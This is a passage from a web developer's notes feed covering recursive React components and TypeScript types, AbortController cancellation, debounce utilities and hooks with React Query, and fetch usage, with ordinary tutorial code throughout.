&lt;p&gt;The base case is the empty &lt;code&gt;children&lt;/code&gt; array: nothing more to render.&lt;/p&gt;
&lt;h3&gt;Collapsible tree with &lt;code&gt;&amp;lt;details&amp;gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Each node owns its open/closed state, so there&apos;s nothing to track in a parent. The native &lt;code&gt;&amp;lt;details&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;summary&amp;gt;&lt;/code&gt; elements give you the toggle, keyboard support and screen reader support for free:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type FileNode = { id: string; name: string; children: FileNode[] }

function FileTree({ node }: { node: FileNode }) {
  if (node.children.length === 0) return &amp;lt;li&amp;gt;{node.name}&amp;lt;/li&amp;gt;

  return (
    &amp;lt;li&amp;gt;
      &amp;lt;details open&amp;gt;
        &amp;lt;summary&amp;gt;{node.name}&amp;lt;/summary&amp;gt;
        &amp;lt;ul&amp;gt;
          {node.children.map((child) =&amp;gt; (
            &amp;lt;FileTree key={child.id} node={child} /&amp;gt;
          ))}
        &amp;lt;/ul&amp;gt;
      &amp;lt;/details&amp;gt;
    &amp;lt;/li&amp;gt;
  )
}

// &amp;lt;ul&amp;gt;&amp;lt;FileTree node={tree} /&amp;gt;&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a full keyboard-driven tree widget (arrow keys between nodes), follow the &lt;a href=&quot;https://www.w3.org/WAI/ARIA/apg/patterns/treeview/&quot;&gt;ARIA tree view pattern&lt;/a&gt;. It&apos;s a lot more work, so only do it when you need it.&lt;/p&gt;
&lt;h3&gt;Pass the depth down&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type MenuItem = { label: string; href: string; children?: MenuItem[] }

function Menu({ items, depth = 0 }: { items: MenuItem[]; depth?: number }) {
  return (
    &amp;lt;ul className={depth === 0 ? &apos;menu&apos; : &apos;submenu&apos;}&amp;gt;
      {items.map((item) =&amp;gt; (
        &amp;lt;li key={item.href}&amp;gt;
          &amp;lt;a href={item.href}&amp;gt;{item.label}&amp;lt;/a&amp;gt;
          {item.children &amp;amp;&amp;amp; depth &amp;lt; 2 &amp;amp;&amp;amp; &amp;lt;Menu items={item.children} depth={depth + 1} /&amp;gt;}
        &amp;lt;/li&amp;gt;
      ))}
    &amp;lt;/ul&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A depth limit (&lt;code&gt;depth &amp;lt; 2&lt;/code&gt;) is a second base case. It keeps a bad API response from rendering 50 levels of menu.&lt;/p&gt;
&lt;h3&gt;Large trees&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Every node is a component, so a tree with thousands of visible nodes is slow. &lt;code&gt;flatten&lt;/code&gt; only the &lt;strong&gt;open&lt;/strong&gt; nodes into a list with a &lt;code&gt;depth&lt;/code&gt;, and render that list with a virtualiser (TanStack Virtual), indenting by &lt;code&gt;depth&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Wrap the node component in &lt;code&gt;memo&lt;/code&gt; so that changing one node doesn&apos;t re-render all the others. This works because &lt;code&gt;updateNode&lt;/code&gt; above reuses every node it didn&apos;t change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Recursive types in TypeScript&lt;/h2&gt;
&lt;p&gt;A type can refer to itself:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type TreeNode&amp;lt;T&amp;gt; = {
  value: T
  children: TreeNode&amp;lt;T&amp;gt;[]
}

type Json = string | number | boolean | null | Json[] | { [key: string]: Json }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Recursive utility types apply a change at every level:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type DeepPartial&amp;lt;T&amp;gt; = T extends object ? { [K in keyof T]?: DeepPartial&amp;lt;T[K]&amp;gt; } : T
type DeepReadonly&amp;lt;T&amp;gt; = T extends object ? { readonly [K in keyof T]: DeepReadonly&amp;lt;T[K]&amp;gt; } : T

type Settings = { theme: { colour: string; font: { size: number } } }
const patch: DeepPartial&amp;lt;Settings&amp;gt; = { theme: { font: { size: 16 } } } // everything optional
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Very deep or complex recursive types can hit &lt;code&gt;Type instantiation is excessively deep and possibly infinite&lt;/code&gt;. Simplify the type, or add a depth limit.&lt;/p&gt;
&lt;p&gt;More in the &lt;a href=&quot;/notes/typescript/&quot;&gt;TypeScript&lt;/a&gt; note.&lt;/p&gt;
&lt;h2&gt;Common interview questions&lt;/h2&gt;
&lt;p&gt;All of these are &quot;handle this item, recurse on the rest&quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flatten a nested array without &lt;code&gt;flat()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Deep clone or deep equal two objects.&lt;/li&gt;
&lt;li&gt;Sum the values of a nested object.&lt;/li&gt;
&lt;li&gt;Build a tree from a flat list with &lt;code&gt;parentId&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Render nested comments in React.&lt;/li&gt;
&lt;li&gt;All permutations or subsets of an array.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// flatten without flat()
const flattenArray = (arr) =&amp;gt;
  arr.reduce((out, item) =&amp;gt; out.concat(Array.isArray(item) ? flattenArray(item) : item), [])

flattenArray([1, [2, [3, [4]]]]) // → [1, 2, 3, 4]

// deep equal (plain objects, arrays and primitives)
function deepEqual(a, b) {
  if (a === b) return true
  if (typeof a !== &apos;object&apos; || typeof b !== &apos;object&apos; || a === null || b === null) return false
  if (Array.isArray(a) !== Array.isArray(b)) return false
  const keys = Object.keys(a)
  if (keys.length !== Object.keys(b).length) return false
  return keys.every((key) =&amp;gt; Object.hasOwn(b, key) &amp;amp;&amp;amp; deepEqual(a[key], b[key]))
}

deepEqual({ a: [1, { b: 2 }] }, { a: [1, { b: 2 }] }) // → true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Missing or unreachable base case&lt;/strong&gt;: the stack overflows. Check that every recursive call gets closer to the base case.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Too deep&lt;/strong&gt;: the stack runs out at about 10,000 frames (in Chrome). Use a loop with a stack for deep data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cycles&lt;/strong&gt;: graphs and some object structures loop back on themselves. Track visited nodes in a &lt;code&gt;Set&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repeated work&lt;/strong&gt;: if the same sub-problem comes up many times, memoise it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mutation&lt;/strong&gt;: don&apos;t edit the tree in place when it&apos;s React state or shared data. Return new nodes, and reuse the unchanged ones.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>javascript</category><category>typescript</category><category>react</category><category>interview</category><author>Zander Martineau</author></item><item><title>AbortController</title><link>https://zander.wtf/notes/abort-controller/</link><guid isPermaLink="true">https://zander.wtf/notes/abort-controller/</guid><description>An AbortController is how you cancel async work in the browser (and Node). You keep the controller and call abort() on it. You pass its signal to the thing…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;An &lt;code&gt;AbortController&lt;/code&gt; is how you cancel async work in the browser (and Node). You keep the &lt;strong&gt;controller&lt;/strong&gt; and call &lt;code&gt;abort()&lt;/code&gt; on it. You pass its &lt;strong&gt;signal&lt;/strong&gt; to the thing you might want to cancel.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const controller = new AbortController()

fetch(url, { signal: controller.signal })

controller.abort() // the fetch promise rejects with an AbortError
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;A controller is &lt;strong&gt;single-use&lt;/strong&gt;. Once aborted it stays aborted, so make a new one for the next job.&lt;/li&gt;
&lt;li&gt;One signal can be passed to many things. A single &lt;code&gt;abort()&lt;/code&gt; cancels them all.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;abort(reason)&lt;/code&gt; takes an optional reason. The promise rejects with that instead of the default &lt;code&gt;AbortError&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More on fetch itself, including error handling: &lt;a href=&quot;/notes/fetch/&quot;&gt;fetch&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Cancel a fetch&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const controller = new AbortController()
cancelButton.addEventListener(&apos;click&apos;, () =&amp;gt; controller.abort())

try {
  const res = await fetch(&apos;/api/report&apos;, { signal: controller.signal })
  render(await res.json())
} catch (error) {
  if ((error as Error).name === &apos;AbortError&apos;) return // cancelled on purpose
  throw error
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cancel the previous request&lt;/h2&gt;
&lt;p&gt;The classic race: the user types &quot;re&quot;, then &quot;react&quot;. If the &quot;re&quot; response arrives last, it overwrites the right results. Abort the old request before you start a new one.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let controller: AbortController | undefined

async function search(query: string) {
  controller?.abort()
  controller = new AbortController()

  try {
    const res = await fetch(`/api/search?q=${encodeURIComponent(query)}`, {
      signal: controller.signal,
    })
    renderResults(await res.json())
  } catch (error) {
    if ((error as Error).name !== &apos;AbortError&apos;) throw error
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pair it with &lt;a href=&quot;/notes/debounce/&quot;&gt;debounce&lt;/a&gt; so you send fewer requests in the first place.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { debounce } from &apos;./debounce&apos;

const debouncedSearch = debounce(search, 300)

input.addEventListener(&apos;input&apos;, (e) =&amp;gt; {
  debouncedSearch((e.target as HTMLInputElement).value.trim())
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;They do different jobs, so you want both:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Debounce&lt;/strong&gt; waits until typing pauses, so &quot;r&quot;, &quot;re&quot;, &quot;rea&quot;… don&apos;t each send a request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Abort&lt;/strong&gt; handles the request that is already in flight. If the user pauses, the request starts, and then they type again, the old request is cancelled before the new one starts.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Timeouts&lt;/h2&gt;
&lt;p&gt;You don&apos;t need a controller for a timeout. &lt;code&gt;AbortSignal.timeout()&lt;/code&gt; makes a signal that aborts itself.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const res = await fetch(url, { signal: AbortSignal.timeout(5000) })
// rejects with a TimeoutError if it takes longer than 5s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Need a timeout &lt;strong&gt;and&lt;/strong&gt; a cancel button? Combine signals with &lt;code&gt;AbortSignal.any()&lt;/code&gt;. The first one to fire wins.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const controller = new AbortController()

const res = await fetch(url, {
  signal: AbortSignal.any([controller.signal, AbortSignal.timeout(5000)]),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Remove event listeners&lt;/h2&gt;
&lt;p&gt;Pass the same signal to many &lt;code&gt;addEventListener&lt;/code&gt; calls. One &lt;code&gt;abort()&lt;/code&gt; removes them all, and you don&apos;t need to keep a reference to each handler.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const controller = new AbortController()
const { signal } = controller

window.addEventListener(&apos;resize&apos;, onResize, { signal })
window.addEventListener(&apos;scroll&apos;, onScroll, { passive: true, signal })
document.addEventListener(&apos;keydown&apos;, onKeyDown, { signal })

// later, e.g. when a modal closes
controller.abort()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Make your own functions cancellable&lt;/h2&gt;
&lt;p&gt;Accept a &lt;code&gt;signal&lt;/code&gt; like &lt;code&gt;fetch&lt;/code&gt; does. Check it between steps.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function processAll(items: Item[], { signal }: { signal?: AbortSignal } = {}) {
  for (const item of items) {
    signal?.throwIfAborted() // throws the abort reason if aborted
    await processItem(item)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wrap a callback-based API by listening for the &lt;code&gt;abort&lt;/code&gt; event.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const wait = (ms: number, signal?: AbortSignal) =&amp;gt;
  new Promise&amp;lt;void&amp;gt;((resolve, reject) =&amp;gt; {
    signal?.throwIfAborted()
    const id = setTimeout(resolve, ms)
    signal?.addEventListener(
      &apos;abort&apos;,
      () =&amp;gt; {
        clearTimeout(id)
        reject(signal.reason)
      },
      { once: true },
    )
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;React&lt;/h2&gt;
&lt;h3&gt;Clean up in &lt;code&gt;useEffect&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Abort in the cleanup function. The request is cancelled when the component unmounts or when &lt;code&gt;id&lt;/code&gt; changes, so an old response can never set state.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function User({ id }: { id: string }) {
  const [user, setUser] = useState&amp;lt;User | null&amp;gt;(null)

  useEffect(() =&amp;gt; {
    const controller = new AbortController()

    fetch(`/api/users/${id}`, { signal: controller.signal })
      .then((res) =&amp;gt; res.json())
      .then(setUser)
      .catch((error) =&amp;gt; {
        if (error.name !== &apos;AbortError&apos;) console.error(error)
      })

    return () =&amp;gt; controller.abort()
  }, [id])

  return user ? &amp;lt;h1&amp;gt;{user.name}&amp;lt;/h1&amp;gt; : &amp;lt;p&amp;gt;Loading…&amp;lt;/p&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same pattern cleans up event listeners.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useEffect(() =&amp;gt; {
  const controller = new AbortController()
  window.addEventListener(&apos;keydown&apos;, onKeyDown, { signal: controller.signal })
  window.addEventListener(&apos;resize&apos;, onResize, { signal: controller.signal })
  return () =&amp;gt; controller.abort()
}, [])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;React Query&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;/notes/react-query/&quot;&gt;React Query&lt;/a&gt; makes the controller for you. It passes a &lt;code&gt;signal&lt;/code&gt; to your &lt;code&gt;queryFn&lt;/code&gt;. Hand it to &lt;code&gt;fetch&lt;/code&gt;, and React Query aborts the request when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the query key changes (for example, a new search term)&lt;/li&gt;
&lt;li&gt;the component unmounts and nothing else uses the query&lt;/li&gt;
&lt;li&gt;you call &lt;code&gt;queryClient.cancelQueries()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const { data } = useQuery({
  queryKey: [&apos;users&apos;, id],
  queryFn: async ({ signal }) =&amp;gt; {
    const res = await fetch(`/api/users/${id}`, { signal })
    if (!res.ok) throw new Error(&apos;Failed to load user&apos;)
    return res.json()
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you don&apos;t pass &lt;code&gt;signal&lt;/code&gt; to &lt;code&gt;fetch&lt;/code&gt;, React Query can&apos;t cancel the request. It keeps running to the end.&lt;/p&gt;
</content:encoded><category>javascript</category><category>typescript</category><category>react</category><author>Zander Martineau</author></item><item><title>Debounce</title><link>https://zander.wtf/notes/debounce/</link><guid isPermaLink="true">https://zander.wtf/notes/debounce/</guid><description>A debounced function waits until calls stop for delay ms, then runs once with the last arguments. Every new call resets the timer. Use it when you only…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A debounced function waits until calls &lt;strong&gt;stop&lt;/strong&gt; for &lt;code&gt;delay&lt;/code&gt; ms, then runs once with the last arguments. Every new call resets the timer.&lt;/p&gt;
&lt;p&gt;Use it when you only care about the final value: search boxes, form validation, autosave, &quot;resize finished&quot;.&lt;/p&gt;
&lt;p&gt;Need regular updates &lt;em&gt;while&lt;/em&gt; something is happening instead? Use &lt;a href=&quot;/notes/throttle/&quot;&gt;throttle&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;JavaScript&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const debounce = (fn, delay) =&amp;gt; {
  let id
  return (...args) =&amp;gt; {
    clearTimeout(id)
    id = setTimeout(() =&amp;gt; fn(...args), delay)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TypeScript&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export const debounce = &amp;lt;Args extends unknown[]&amp;gt;(
  fn: (...args: Args) =&amp;gt; void,
  delay: number,
) =&amp;gt; {
  let id: ReturnType&amp;lt;typeof setTimeout&amp;gt; | undefined
  return (...args: Args) =&amp;gt; {
    clearTimeout(id)
    id = setTimeout(() =&amp;gt; fn(...args), delay)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Args&lt;/code&gt; is inferred from &lt;code&gt;fn&lt;/code&gt;, so the debounced function takes exactly the same arguments.&lt;/p&gt;
&lt;p&gt;No &lt;code&gt;fn.apply(this, args)&lt;/code&gt; here. Arrow functions don&apos;t have their own &lt;code&gt;this&lt;/code&gt;, and you rarely need it — pass the element in as an argument instead (&lt;code&gt;e.target&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;h3&gt;Search as you type&lt;/h3&gt;
&lt;p&gt;Fire one request after the user stops typing, and abort the previous one if it is still in flight (see &lt;a href=&quot;/notes/abort-controller/&quot;&gt;AbortController&lt;/a&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const input = document.querySelector&amp;lt;HTMLInputElement&amp;gt;(&apos;#search&apos;)!
let controller: AbortController | undefined

const search = debounce(async (query: string) =&amp;gt; {
  controller?.abort()
  controller = new AbortController()

  const res = await fetch(`/api/search?q=${encodeURIComponent(query)}`, {
    signal: controller.signal,
  })
  renderResults(await res.json())
}, 300)

input.addEventListener(&apos;input&apos;, (e) =&amp;gt; {
  search((e.target as HTMLInputElement).value.trim())
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Validate a field when typing pauses&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const email = document.querySelector&amp;lt;HTMLInputElement&amp;gt;(&apos;#email&apos;)!

const validate = debounce(() =&amp;gt; {
  email.setCustomValidity(email.validity.typeMismatch ? &apos;Enter a valid email&apos; : &apos;&apos;)
  email.reportValidity()
}, 500)

email.addEventListener(&apos;input&apos;, validate)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Do expensive work once resizing ends&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const relayout = debounce(() =&amp;gt; {
  chart.resize(container.clientWidth, container.clientHeight)
}, 150)

window.addEventListener(&apos;resize&apos;, relayout)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;React hooks&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;useDebouncedValue&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Debounce a &lt;strong&gt;value&lt;/strong&gt;. The input stays instant; only the returned value lags behind. This is the one you want most of the time.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useEffect, useState } from &apos;react&apos;

export function useDebouncedValue&amp;lt;T&amp;gt;(value: T, delay = 300): T {
  const [debounced, setDebounced] = useState(value)

  useEffect(() =&amp;gt; {
    const id = setTimeout(() =&amp;gt; setDebounced(value), delay)
    return () =&amp;gt; clearTimeout(id)
  }, [value, delay])

  return debounced
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;useDebouncedCallback&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Debounce a &lt;strong&gt;function&lt;/strong&gt;. The returned function keeps the same identity between renders but always calls the latest &lt;code&gt;fn&lt;/code&gt;, so it never sees stale props or state.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useLayoutEffect, useMemo, useRef } from &apos;react&apos;
import { debounce } from &apos;./debounce&apos;

export function useDebouncedCallback&amp;lt;Args extends unknown[]&amp;gt;(
  fn: (...args: Args) =&amp;gt; void,
  delay = 300,
) {
  const fnRef = useRef(fn)
  useLayoutEffect(() =&amp;gt; {
    fnRef.current = fn
  })

  // a call still pending at unmount still runs, so an autosave is never lost
  return useMemo(() =&amp;gt; debounce((...args: Args) =&amp;gt; fnRef.current(...args), delay), [delay])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Don&apos;t write &lt;code&gt;useCallback(debounce(fn, 300), [])&lt;/code&gt; or &lt;code&gt;debounce(fn)&lt;/code&gt; straight in the component body. A new debounced function is created on every render, so each one has its own timer and nothing is debounced.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;With React Query&lt;/h2&gt;
&lt;h3&gt;Search as you type&lt;/h3&gt;
&lt;p&gt;Put the &lt;strong&gt;debounced&lt;/strong&gt; value in the &lt;code&gt;queryKey&lt;/code&gt;. The input is bound to the raw state, so typing never lags.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { keepPreviousData, useQuery } from &apos;@tanstack/react-query&apos;
import { useState } from &apos;react&apos;
import { useDebouncedValue } from &apos;./useDebouncedValue&apos;

type User = { id: string; name: string }

function UserSearch() {
  const [search, setSearch] = useState(&apos;&apos;)
  const query = useDebouncedValue(search.trim(), 300)

  const { data = [], isFetching } = useQuery({
    queryKey: [&apos;users&apos;, &apos;search&apos;, query],
    queryFn: async ({ signal }): Promise&amp;lt;User[]&amp;gt; =&amp;gt; {
      const res = await fetch(`/api/users?q=${encodeURIComponent(query)}`, { signal })
      if (!res.ok) throw new Error(&apos;Search failed&apos;)
      return res.json()
    },
    enabled: query.length &amp;gt;= 2,
    placeholderData: keepPreviousData,
    staleTime: 60_000,
  })

  return (
    &amp;lt;&amp;gt;
      &amp;lt;input
        type=&quot;search&quot;
        value={search}
        onChange={(e) =&amp;gt; setSearch(e.target.value)}
        aria-busy={isFetching}
      /&amp;gt;
      &amp;lt;ul&amp;gt;
        {data.map((user) =&amp;gt; (
          &amp;lt;li key={user.id}&amp;gt;{user.name}&amp;lt;/li&amp;gt;
        ))}
      &amp;lt;/ul&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why this works well:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;One request per pause&lt;/strong&gt;, not one per keystroke.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every term is cached.&lt;/strong&gt; Type &quot;zan&quot;, then &quot;zander&quot;, then back to &quot;zan&quot;: the last one comes from the cache.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;signal&lt;/code&gt;&lt;/strong&gt; — when the key changes, React Query aborts the old request, so a slow response can&apos;t overwrite a newer one. See &lt;a href=&quot;/notes/abort-controller/&quot;&gt;AbortController&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;keepPreviousData&lt;/code&gt;&lt;/strong&gt; keeps the old results on screen while the new ones load, so the list doesn&apos;t flash empty.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;enabled&lt;/code&gt;&lt;/strong&gt; skips the query until there are at least two characters.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Filters in the URL&lt;/h3&gt;
&lt;p&gt;Same idea, but the debounced value drives the URL and the query reads from the URL. Shareable, and the back button works.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function ProductFilters() {
  const [searchParams, setSearchParams] = useSearchParams()
  const [text, setText] = useState(searchParams.get(&apos;q&apos;) ?? &apos;&apos;)
  const q = useDebouncedValue(text, 400)

  useEffect(() =&amp;gt; {
    setSearchParams((params) =&amp;gt; {
      q ? params.set(&apos;q&apos;, q) : params.delete(&apos;q&apos;)
      return params
    })
  }, [q, setSearchParams])

  const products = useQuery({
    queryKey: [&apos;products&apos;, searchParams.toString()],
    queryFn: ({ signal }) =&amp;gt; fetchProducts(searchParams, signal),
    placeholderData: keepPreviousData,
  })

  // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Autosave with &lt;code&gt;useMutation&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Debounce the mutation, not the input. The textarea updates on every keystroke; the save happens one second after typing stops.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useMutation, useQueryClient } from &apos;@tanstack/react-query&apos;

function NoteEditor({ note }: { note: { id: string; body: string } }) {
  const queryClient = useQueryClient()
  const [body, setBody] = useState(note.body)

  const { mutate, isPending, isError } = useMutation({
    mutationFn: (body: string) =&amp;gt;
      fetch(`/api/notes/${note.id}`, {
        method: &apos;PATCH&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify({ body }),
      }),
    onSuccess: () =&amp;gt; queryClient.invalidateQueries({ queryKey: [&apos;notes&apos;, note.id] }),
  })

  const save = useDebouncedCallback(mutate, 1000)

  return (
    &amp;lt;&amp;gt;
      &amp;lt;textarea
        value={body}
        onChange={(e) =&amp;gt; {
          setBody(e.target.value)
          save(e.target.value)
        }}
      /&amp;gt;
      &amp;lt;small&amp;gt;{isPending ? &apos;Saving…&apos; : isError ? &apos;Save failed&apos; : &apos;Saved&apos;}&amp;lt;/small&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hook doesn&apos;t cancel the timer on unmount, so if the user navigates away mid-typing, the last edit still saves.&lt;/p&gt;
</content:encoded><category>javascript</category><category>typescript</category><category>react</category><author>Zander Martineau</author></item><item><title>Fetch</title><link>https://zander.wtf/notes/fetch/</link><guid isPermaLink="true">https://zander.wtf/notes/fetch/</guid><description>Usage synopsis (use the argument links to find out more): GET POST Using async/await: Using then(): Timeout / cancellation with AbortSignal Fetch has no…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Usage synopsis (use the argument links to find out more):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fetch(url, options)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;GET&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const response = await fetch(url, { headers: {} })
const data = await response.json()

if (!data) {
  throw new Error(&apos;No data&apos;)
}

return data
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;POST&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;async/await&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const response = await fetch(url, {
  method: &apos;POST&apos;,
  body: JSON.stringify(data),
  headers: {
    &apos;Content-Type&apos;: &apos;application/json&apos;,
  },
  credentials: &apos;same-origin&apos;,
})

const data = await response.json()

if (!data) {
  throw new Error(&apos;No data&apos;)
}

return data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;code&gt;then()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const response = fetch(url, {
  method: &apos;POST&apos;,
  body: JSON.stringify(data),
  headers: {
    &apos;Content-Type&apos;: &apos;application/json&apos;,
  },
  credentials: &apos;same-origin&apos;,
}).then(
  (response) =&amp;gt; {
    response.status //=&amp;gt; number 100–599
    response.statusText //=&amp;gt; String
    response.headers //=&amp;gt; Headers
    response.url //=&amp;gt; String

    return response.json()
  },
  function (error) {
    error.message //=&amp;gt; String
  }
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeout / cancellation with &lt;code&gt;AbortSignal&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Fetch has no &lt;code&gt;timeout&lt;/code&gt; or &lt;code&gt;cancel()&lt;/code&gt; of its own - cancellation is handled by the more general &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/AbortController&quot;&gt;&lt;code&gt;AbortController&lt;/code&gt;/&lt;code&gt;AbortSignal&lt;/code&gt;&lt;/a&gt; API. The idea: an &lt;code&gt;AbortController&lt;/code&gt; is the thing you hold on to and call &lt;code&gt;.abort()&lt;/code&gt; on; its &lt;code&gt;.signal&lt;/code&gt; is the read-only token you hand to the async operation you might want to cancel. When the controller aborts, anything holding that signal stops and the pending promise rejects.&lt;/p&gt;
&lt;p&gt;More patterns (event listeners, React, React Query) in the &lt;a href=&quot;/notes/abort-controller/&quot;&gt;AbortController&lt;/a&gt; note.&lt;/p&gt;
&lt;h3&gt;Cancelling a request manually&lt;/h3&gt;
&lt;p&gt;Pass &lt;code&gt;controller.signal&lt;/code&gt; as the &lt;code&gt;signal&lt;/code&gt; option, then call &lt;code&gt;controller.abort()&lt;/code&gt; whenever you want to bail - user clicked cancel, component unmounted, whatever:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const controller = new AbortController()

cancelButton.addEventListener(&apos;click&apos;, () =&amp;gt; {
  controller.abort()
})

try {
  const response = await fetch(url, { signal: controller.signal })
  const data = await response.json()
} catch (error) {
  if (error.name === &apos;AbortError&apos;) {
    // cancelled on purpose - usually nothing to do
  } else {
    throw error
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few things worth knowing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;One controller can cancel &lt;strong&gt;multiple&lt;/strong&gt; fetches - pass the same &lt;code&gt;signal&lt;/code&gt; to each and a single &lt;code&gt;abort()&lt;/code&gt; kills them all.&lt;/li&gt;
&lt;li&gt;A controller is single-use. Once aborted, it stays aborted - make a new one for the next request (the classic &quot;cancel the previous search request&quot; pattern).&lt;/li&gt;
